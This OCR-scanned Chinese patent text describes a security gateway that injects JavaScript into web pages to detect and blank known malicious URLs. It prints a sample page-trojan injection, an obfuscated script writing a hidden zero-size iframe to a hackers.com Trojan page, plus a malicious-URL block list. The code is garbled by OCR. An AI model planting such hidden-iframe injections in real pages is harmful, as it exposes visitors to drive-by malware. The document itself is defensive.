HTML代碼如下所示。采用這種方式插入的網(wǎng)頁(yè)掛馬代碼是無(wú)法通過(guò)現(xiàn)有的靜態(tài)Web結(jié)構(gòu)分析方法發(fā)現(xiàn)的。<HTML><head><title>Product Detail</titleX/head><body><font>many text showed here</font>〈script〉var url = “http :,,+,,//,,+,,www,,+,,· ”+,,hackers,,+,,· ”+,,com/Trojan, html,,document, write ( "<iframe"+ "src ="+url+ "width = 0 height = 0>”)〈/script〉<body></html>假設(shè)Web客戶端訪問被保護(hù)Web網(wǎng)站上指定的Web頁(yè)面ProductDetail. html, Web 服務(wù)器在處理該HTTP請(qǐng)求后,將上述網(wǎng)頁(yè)掛馬后的Web頁(yè)面內(nèi)容發(fā)送給Web安全網(wǎng)關(guān);Web 安全網(wǎng)關(guān)在轉(zhuǎn)發(fā)該Web頁(yè)面內(nèi)容前,將為其依附一段所述的移動(dòng)代碼A,并修改該Web頁(yè)面內(nèi)容中的Body標(biāo)簽,使得Body標(biāo)簽的onload事件指向該段移動(dòng)代碼中的DetectEvilURLs 函數(shù);修改后并依附了移動(dòng)代碼的Web頁(yè)面內(nèi)容如下所示。<HTML><head><title>Product Detail</titleX/head>〈body onload = ” FilterEvilURLs ();,,〉<gont>many text showed here</font>〈script〉
var 1 =“http. ,,+,,//,,+,,www”+,,· ”+,,hackers,,+,,· ”+,,com/Trojan, html,,document, write ( "<iframe"+ "src =”+l+ "width = 0 height = 0>”)〈/script〉<script type =,,text/javascript,,>evi IURLs = {____}function DetectEvilURLs(document){...... }</script></body></html>最后,Web安全網(wǎng)關(guān)將如上的修改后并依附了移動(dòng)代碼的Web頁(yè)面內(nèi)容發(fā)送給Web
客戶端。Web客戶端上的Web瀏覽器接收到如上的修改后并依附了移動(dòng)代碼的Web頁(yè)面內(nèi)容后,將加載該Web頁(yè)面內(nèi)容并構(gòu)造文檔對(duì)象模型。加載完畢后,所得到的文檔對(duì)象模型如圖3所示,根節(jié)點(diǎn)為HTML,根節(jié)點(diǎn)的兩個(gè)子節(jié)點(diǎn)分別為Head和Body ;Head的子節(jié)點(diǎn)為 title ;Body 有四個(gè)子節(jié)點(diǎn),分別是 font、script、iframe> script。當(dāng)如圖3所示的文檔對(duì)象模型構(gòu)造完畢后,Web瀏覽器執(zhí)行Body標(biāo)簽中的onload 事件,調(diào)用所述的移動(dòng)代碼A,所述移動(dòng)代碼A首先抽取所有的SCRIPT標(biāo)簽,并獲取該標(biāo)簽的SRC屬性中的URL,然后調(diào)用belongto函數(shù)判定該URL是否屬于惡意URL集合,如果屬于惡意URL集合,則向Web安全網(wǎng)關(guān)報(bào)警。此外,所述移動(dòng)代碼A還抽取IFRAME標(biāo)簽的SRC 屬性中的URL,以及LINK標(biāo)簽的HREF屬性中的URL值,并調(diào)用belongto函數(shù)判定該URL是否屬于惡意URL集合。此例子中,所述移動(dòng)代碼A將發(fā)現(xiàn)IFRAME標(biāo)簽的SRC屬性中包含的 URL"http://www. hackers. com/Trojan, html”與惡意URL集合中第1個(gè)元素匹配,因此,所述移動(dòng)代碼A將向Web安全網(wǎng)關(guān)報(bào)警。例子二,與例子一基本相同,唯一不同的是例子二并不是截獲BODY標(biāo)簽的 onload事件來(lái)獲得所依附的移動(dòng)代碼的執(zhí)行權(quán)利,而是通過(guò)在Web文檔的最后附加一個(gè) SCRIPT標(biāo)簽來(lái)直接調(diào)用移動(dòng)代碼主函數(shù)的方法在Web文檔對(duì)象模型構(gòu)造完畢后獲得對(duì)所依附的移動(dòng)代碼的執(zhí)行權(quán)力。所述的依附了移動(dòng)代碼和SCRIPT標(biāo)簽后的Web頁(yè)面如下所不。<HTML><head><title>Product Detail</titleX/head><body><font>many text showed here</font>〈script〉var 1 =“http: ” +,,//,,+,,www,,+,,· ” +,,hackers,,+,,· ” +,,com/Trojan, html”document, write ( "<iframe"+ "src =”+l+ "width = Oheight = 0>”)〈/script〉</body></html><script type =,,text/javascript,,>evi IURLs = {____}
function DetectEvilURLs(document){...... }〈/script〉〈script〉DetectEvilURLs(document);〈/script〉例子二中采用在最后追加SCRIPT標(biāo)簽,并在SCRIPT標(biāo)簽中直接調(diào)用移動(dòng)代碼主函數(shù)方法的優(yōu)點(diǎn)是Web安全網(wǎng)關(guān)在注入移動(dòng)代碼時(shí)并不需要分析Web文檔結(jié)構(gòu),從而可以極大地提高Web安全網(wǎng)關(guān)的移動(dòng)代碼注入速度。例子三,與例子一基本相同,唯一不同的是例子三中生成的移動(dòng)代碼包含了對(duì) Web頁(yè)面中的惡意URL進(jìn)行過(guò)濾的功能,從而實(shí)時(shí)保障Web客戶端的安全。所述惡意URL過(guò)濾操作由移動(dòng)代碼執(zhí)行。例子三中,移動(dòng)代碼對(duì)惡意URL的過(guò)濾方法為當(dāng)在文檔對(duì)象模型中發(fā)現(xiàn)某HTML 標(biāo)簽的URL值與某惡意URL匹配時(shí),將其置為空值,這樣阻止了 Web瀏覽器加載該惡意URL 所指向的惡意對(duì)象(經(jīng)常為網(wǎng)頁(yè)木馬),從而保障Web客戶端免受網(wǎng)頁(yè)木馬的攻擊。包含了惡意URL過(guò)濾功能的移動(dòng)代碼如下所示?!磗cript〉evi IURLs = {“http://www.hackers.com/trojan.html,,,,,http //www. hackers, cn/attacker, html,,,"http://www. hackers, jp/attacker. png"}function DetectEvilURLs(document){H首先對(duì)iframe標(biāo)簽進(jìn)行惡意URL檢測(cè)var iframeTags = document. getElementsByTagName(" iframe");for(i = 0 ;i < iframeTags. length ;i++) {If (iframeTags [i], src) {if (belongto (iframeTags [i]. src, evilURLs)) {iframeTags [i], src = “”//置為空值,阻止加載惡意對(duì)象alerttoffAF (iframeTags [i], src ) ;// 向 WAF 報(bào)警}}}H然后對(duì)Javascript標(biāo)簽進(jìn)行惡意URL檢測(cè)varjsTags = document. getElementsByTagName(" SCRIPT");for(i = 0 ;i < jsTags. length ;i++) {If (jsTags [i], src) {if (belongto (jsTags [i], src, evilURLs)) {jsTags [i]. src = “ ” //置為空值,阻止加載惡意對(duì)象
alerttoffAF(jsTags[i], src) ;// 向 WAF 報(bào)警}}}Il然后對(duì)LINK標(biāo)簽進(jìn)行惡意URL檢測(cè)var styleTags = document. getElementsByTagName (“ LINK");for(i = 0 ;i < styleTags. length ;i++) {If (styleTags [i] · href) {if (belongto (styleTags [i]. href, eviIURLs)) {styleTags [i]. href = “,,//置為空值,阻止加載惡意對(duì)象alerttoffAF (styleTags [i]. href) ;// 向 WAF 報(bào)警}}}}〈/script〉實(shí)施例二,一種安全網(wǎng)關(guān),包括添加模塊,用于當(dāng)從服務(wù)器得到客戶端請(qǐng)求的Web頁(yè)面后,將預(yù)先生成的移動(dòng)代碼依附到待轉(zhuǎn)發(fā)Web頁(yè)面中;所述移動(dòng)代碼被設(shè)置成當(dāng)執(zhí)行時(shí)遍歷所依附的Web頁(yè)面對(duì)應(yīng)的文檔對(duì)象模型,抽取出指定HTML標(biāo)簽中的URL,并將抽取出的URL與預(yù)先設(shè)置的惡意URL 集合進(jìn)行匹配;Web頁(yè)面修改模塊,用于在依附了所述移動(dòng)代碼的所述Web頁(yè)面中添加命令語(yǔ)句, 所述命令語(yǔ)句設(shè)置成所述Web頁(yè)面當(dāng)被加載時(shí)觸發(fā)所述移動(dòng)代碼執(zhí)行;Web頁(yè)面轉(zhuǎn)發(fā)模塊,用于將依附了所述移動(dòng)代碼并添加語(yǔ)句后的Web頁(yè)面轉(zhuǎn)發(fā)給所述客戶端。本實(shí)施例中,所述安全網(wǎng)關(guān)還可以包括用于生成所述移動(dòng)代碼的生成模塊;以及用于保存所述移動(dòng)代碼的存儲(chǔ)模塊。本實(shí)施例中,所述指定HTML標(biāo)簽可以但不限于設(shè)置為可能用來(lái)加載網(wǎng)頁(yè)木馬的 HTML標(biāo)簽,應(yīng)用時(shí)也可以是各類HTML標(biāo)簽;所述的可能用來(lái)加載網(wǎng)頁(yè)木馬的HTML標(biāo)簽可以包括以下任一種或其任意組合IFRAME、OBJECT、SCRIPT,LINK。實(shí)際應(yīng)用時(shí),可以根據(jù)情況確定所述移動(dòng)代碼中的指定HTML標(biāo)簽,還可以在實(shí)施過(guò)程中修改。本實(shí)施例中,所述的預(yù)先設(shè)置的惡意URL集合可以但不限于由安全專家通過(guò)Web 蜜網(wǎng)或者Web安全事件應(yīng)急響應(yīng)過(guò)程中收集整理而來(lái)。本實(shí)施例中,所述移動(dòng)代碼還可以設(shè)置成當(dāng)一個(gè)HTML標(biāo)簽的URL值和所述惡意 URL集合中任一 URL匹配時(shí),將該HTML標(biāo)簽的URL值置為空值,從而阻止客戶端的Web瀏覽器加載該URL所指向的惡意對(duì)象。本實(shí)施例中,所述移動(dòng)代碼還可以設(shè)置成當(dāng)所抽取的URL和所述惡意URL集合中任一 URL匹配時(shí),通過(guò)指向所述安全網(wǎng)關(guān)的特定URL向所述安全網(wǎng)關(guān)報(bào)警,比如但不限于發(fā)送包含惡意URL報(bào)警的HTTP請(qǐng)求給指向所述安全網(wǎng)關(guān)的特定URL。此情況下,所述安全網(wǎng)關(guān)還可以包括惡意URL報(bào)警接收模塊,用于當(dāng)收到惡意URL報(bào)警時(shí)通過(guò)某種預(yù)設(shè)的方式通知安全管理員;比如在報(bào)警控制臺(tái)顯示報(bào)警信息,告訴管理員所掛馬的Web頁(yè)面的URL以及網(wǎng)頁(yè)木馬的URL等;HTTP請(qǐng)求轉(zhuǎn)發(fā)模塊,與所述惡意URL報(bào)警接收模塊連接,用于接收來(lái)自所述客戶端的HTTP請(qǐng)求,如果該HTTP請(qǐng)求包含惡意URL報(bào)警,則將該HTTP請(qǐng)求中包含的惡意URL 報(bào)警轉(zhuǎn)發(fā)給所述惡意URL報(bào)警接收模塊;如果不包含惡意URL報(bào)警,則轉(zhuǎn)發(fā)給Web服務(wù)器。本實(shí)施例中,所述移動(dòng)代碼可以但不限于為Javascript腳本或VBScript腳本。本實(shí)施例中,所述安全網(wǎng)關(guān)還可以包括維護(hù)模塊,用于更新所述惡意URL集合,包括增加、修改和刪除惡意URL集合中的惡意URL ;當(dāng)所述更新模塊更新了所述惡意URL集合更新后,用更新后的惡意URL集合替代所述移動(dòng)代碼原有的URL集合。本實(shí)施例的一種實(shí)施方式中,所述Web頁(yè)面修改模塊在所述Web頁(yè)面中添加語(yǔ)句具體可以是指所述Web頁(yè)面修改模塊在依附了所述移動(dòng)代碼的所述Web頁(yè)面的Body標(biāo)簽增加 onload事件,并使onload事件指向所述移動(dòng)代碼的主要函數(shù)。該實(shí)施方式中,所述客戶端的Web瀏覽器將會(huì)在加載過(guò)程中執(zhí)行所述移動(dòng)代碼。本實(shí)施例的另一種實(shí)施方式中,所述Web頁(yè)面修改模塊在所述Web頁(yè)面中添加語(yǔ)句具體可以是指所述Web頁(yè)面修改模塊在依附了所述移動(dòng)代碼的當(dāng)前Web頁(yè)面最后位置增加一個(gè)直接調(diào)用所述移動(dòng)代碼主函數(shù)的SCRIPT標(biāo)簽。該實(shí)施方式中,所述客戶端的Web瀏覽器將會(huì)在加載完成后執(zhí)行所述移動(dòng)代碼。本實(shí)施例中所述Web頁(yè)面修改模塊在所述Web頁(yè)面中添加語(yǔ)句的步驟不限于以上兩種實(shí)施方式。本領(lǐng)域普通技術(shù)人員可以理解上述方法中的全部或部分步驟可通過(guò)程序來(lái)指令相關(guān)硬件完成,所述程序可以存儲(chǔ)于計(jì)算機(jī)可讀存儲(chǔ)介質(zhì)中,如只讀存儲(chǔ)器、磁盤或光盤等。可選地,上述實(shí)施例的全部或部分步驟也可以使用一個(gè)或多個(gè)集成電路來(lái)實(shí)現(xiàn)。相應(yīng)地,上述實(shí)施例中的各模塊/單元可以采用硬件的形式實(shí)現(xiàn),也可以采用軟件功能模塊的形式實(shí)現(xiàn)。本發(fā)明不限制于任何特定形式的硬件和軟件的結(jié)合。當(dāng)然,本發(fā)明還可有其他多種實(shí)施例,在不背離本發(fā)明精神及其實(shí)質(zhì)的情況下,熟悉本領(lǐng)域的技術(shù)人員當(dāng)可根據(jù)本發(fā)明作出各種相應(yīng)的改變和變形,但這些相應(yīng)的改變和變形都應(yīng)屬于本發(fā)明的權(quán)利要求的保護(hù)范圍。
權(quán)利要求
1.一種安全網(wǎng)關(guān)轉(zhuǎn)發(fā)網(wǎng)頁(yè)的方法,包括當(dāng)從服務(wù)器得到客戶端請(qǐng)求的Web頁(yè)面后,將預(yù)先生成的移動(dòng)代碼依附到待轉(zhuǎn)發(fā)Web 頁(yè)面中;所述移動(dòng)代碼被設(shè)置成當(dāng)執(zhí)行時(shí)遍歷所依附的Web頁(yè)面對(duì)應(yīng)的文檔對(duì)象模型,抽取出指定HTML標(biāo)簽中的URL,并將抽取出的URL與預(yù)先設(shè)置的惡意URL集合進(jìn)行匹配;在依附了所述移動(dòng)代碼的所述Web頁(yè)面中添加命令語(yǔ)句;所述命令語(yǔ)句設(shè)置成當(dāng)所述 Web頁(yè)面被加載時(shí)觸發(fā)所述移動(dòng)代碼執(zhí)行;將依附了所述移動(dòng)代碼并添加語(yǔ)句后的Web頁(yè)面轉(zhuǎn)發(fā)給所述客戶端。
2.如權(quán)利要求1所述的方法,其特征在于,所述在所述Web頁(yè)面中添加語(yǔ)句的步驟包括在依附了所述移動(dòng)代碼的所述Web頁(yè)面的Body標(biāo)簽增加onload事件,并使onload事件指向所述移動(dòng)代碼的主要函數(shù)。
3.如權(quán)利要求1所述的方法,其特征在于,所述在所述Web頁(yè)面中添加語(yǔ)句的步驟包括在依附了所述移動(dòng)代碼的所述Web頁(yè)面的最后位置增加一個(gè)直接調(diào)用所述移動(dòng)代碼主函數(shù)的SCRIPT標(biāo)簽。
4.如權(quán)利要求1到3中任一項(xiàng)所述的方法,其特征在于所述移動(dòng)代碼還被設(shè)置成當(dāng)所抽取的URL和所述惡意URL集合中任一 URL匹配時(shí),發(fā)送包含惡意URL報(bào)警的HTTP請(qǐng)求給指向所述安全網(wǎng)關(guān)的特定URL。
5.如權(quán)利要求1到3中任一項(xiàng)所述的方法,其特征在于所述移動(dòng)代碼還被設(shè)置成如果發(fā)現(xiàn)一個(gè)HTML標(biāo)簽相關(guān)的URL值和所述惡意URL集合中任一 URL匹配時(shí),將該HTML標(biāo)簽的URL值置為空值。
6.一種安全網(wǎng)關(guān),其特征在于,包括添加模塊,用于當(dāng)從服務(wù)器得到客戶端請(qǐng)求的Web頁(yè)面后,將預(yù)先生成的移動(dòng)代碼依附到待轉(zhuǎn)發(fā)Web頁(yè)面中;所述移動(dòng)代碼被設(shè)置成當(dāng)執(zhí)行時(shí)遍歷所依附的Web頁(yè)面對(duì)應(yīng)的文檔對(duì)象模型,抽取出指定HTML標(biāo)簽中的URL,并將抽取出的URL與預(yù)先設(shè)置的惡意URL集合進(jìn)行匹配;Web頁(yè)面修改模塊,用于在依附了所述移動(dòng)代碼的所述Web頁(yè)面中添加命令語(yǔ)句,所述命令語(yǔ)句設(shè)置成所述Web頁(yè)面當(dāng)被加載時(shí)觸發(fā)所述移動(dòng)代碼執(zhí)行;Web頁(yè)面轉(zhuǎn)發(fā)模塊,用于將依附了所述移動(dòng)代碼并添加語(yǔ)句后的Web頁(yè)面轉(zhuǎn)發(fā)給所述客戶端。
7.如權(quán)利要求6所述的安全網(wǎng)關(guān),其特征在于,所述Web頁(yè)面修改模塊在所述Web頁(yè)面中添加語(yǔ)句是指所述Web頁(yè)面修改模塊在依附了所述移動(dòng)代碼的所述Web頁(yè)面的Body標(biāo)簽增加 onload事件,并使onload事件指向所述移動(dòng)代碼的主要函數(shù)。
8.如權(quán)利要求6所述的安全網(wǎng)關(guān),其特征在于,所述Web頁(yè)面修改模塊在所述Web頁(yè)面中添加語(yǔ)句是指所述Web頁(yè)面修改模塊在依附了所述移動(dòng)代碼的當(dāng)前Web頁(yè)面最后位置增加一個(gè)直接調(diào)用所述移動(dòng)代碼主函數(shù)的SCRIPT標(biāo)簽。
9.如權(quán)利要求6到8中任一項(xiàng)所述的安全網(wǎng)關(guān),其特征在于所述移動(dòng)代碼還設(shè)置成當(dāng)所抽取的URL和所述惡意URL集合中任一 URL匹配時(shí),發(fā)送包含惡意URL報(bào)警的HTTP請(qǐng)求給指向所述安全網(wǎng)關(guān)的特定URL ; 所述安全網(wǎng)關(guān)還包括惡意URL報(bào)警接收模塊,用于當(dāng)收到惡意URL報(bào)警時(shí)通知安全管理員; HTTP請(qǐng)求轉(zhuǎn)發(fā)模塊,與所述惡意URL報(bào)警接收模塊連接,用于接收來(lái)自所述客戶端的 HTTP請(qǐng)求,如果該HTTP請(qǐng)求包含惡意URL報(bào)警,則將該HTTP請(qǐng)求中包含的惡意URL報(bào)警轉(zhuǎn)發(fā)給所述惡意URL報(bào)警接收模塊;如果不包含惡意URL報(bào)警,則轉(zhuǎn)發(fā)給服務(wù)器。
10.如權(quán)利要求6到8中任一項(xiàng)所述的安全網(wǎng)關(guān),其特征在于 所述移動(dòng)代碼還設(shè)置成當(dāng)一個(gè)HTML標(biāo)簽的URL值和所述惡意URL集合中任一 URL匹配時(shí),將該HTML標(biāo)簽的URL值置為空值。
全文摘要
本發(fā)明公開了一種安全網(wǎng)關(guān)及其轉(zhuǎn)發(fā)網(wǎng)頁(yè)的方法;所述方法包括當(dāng)從服務(wù)器得到客戶端請(qǐng)求的Web頁(yè)面后,將預(yù)先生成的移動(dòng)代碼依附到待轉(zhuǎn)發(fā)Web頁(yè)面中;所述移動(dòng)代碼被設(shè)置成當(dāng)執(zhí)行時(shí)遍歷所依附的Web頁(yè)面對(duì)應(yīng)的文檔對(duì)象模型,抽取出指定HTML標(biāo)簽中的URL,并將抽取出的URL與預(yù)先設(shè)置的惡意URL集合進(jìn)行匹配;在依附了所述移動(dòng)代碼的所述Web頁(yè)面中添加命令語(yǔ)句;所述命令語(yǔ)句設(shè)置成當(dāng)所述Web頁(yè)面被加載時(shí)觸發(fā)所述移動(dòng)代碼執(zhí)行;將依附了所述移動(dòng)代碼并添加語(yǔ)句后的Web頁(yè)面轉(zhuǎn)發(fā)給所述客戶端。本發(fā)明能夠在不加重安全網(wǎng)關(guān)計(jì)算開銷的情況下,對(duì)隱藏在Web頁(yè)面中的惡意URL進(jìn)行準(zhǔn)確的檢測(cè)。
文檔編號(hào)H04L29/06GK102469113SQ20101053288
公開日2012年5月23日 申請(qǐng)日期2010年11月1日 優(yōu)先權(quán)日2010年11月1日
發(fā)明者葉潤(rùn)國(guó), 肖小劍 申請(qǐng)人:北京啟明星辰信息安全技術(shù)有限公司, 北京啟明星辰信息技術(shù)股份有限公司
網(wǎng)友詢問留言 已有0條留言
  • 還沒有人留言評(píng)論。精彩留言會(huì)獲得點(diǎn)贊!
1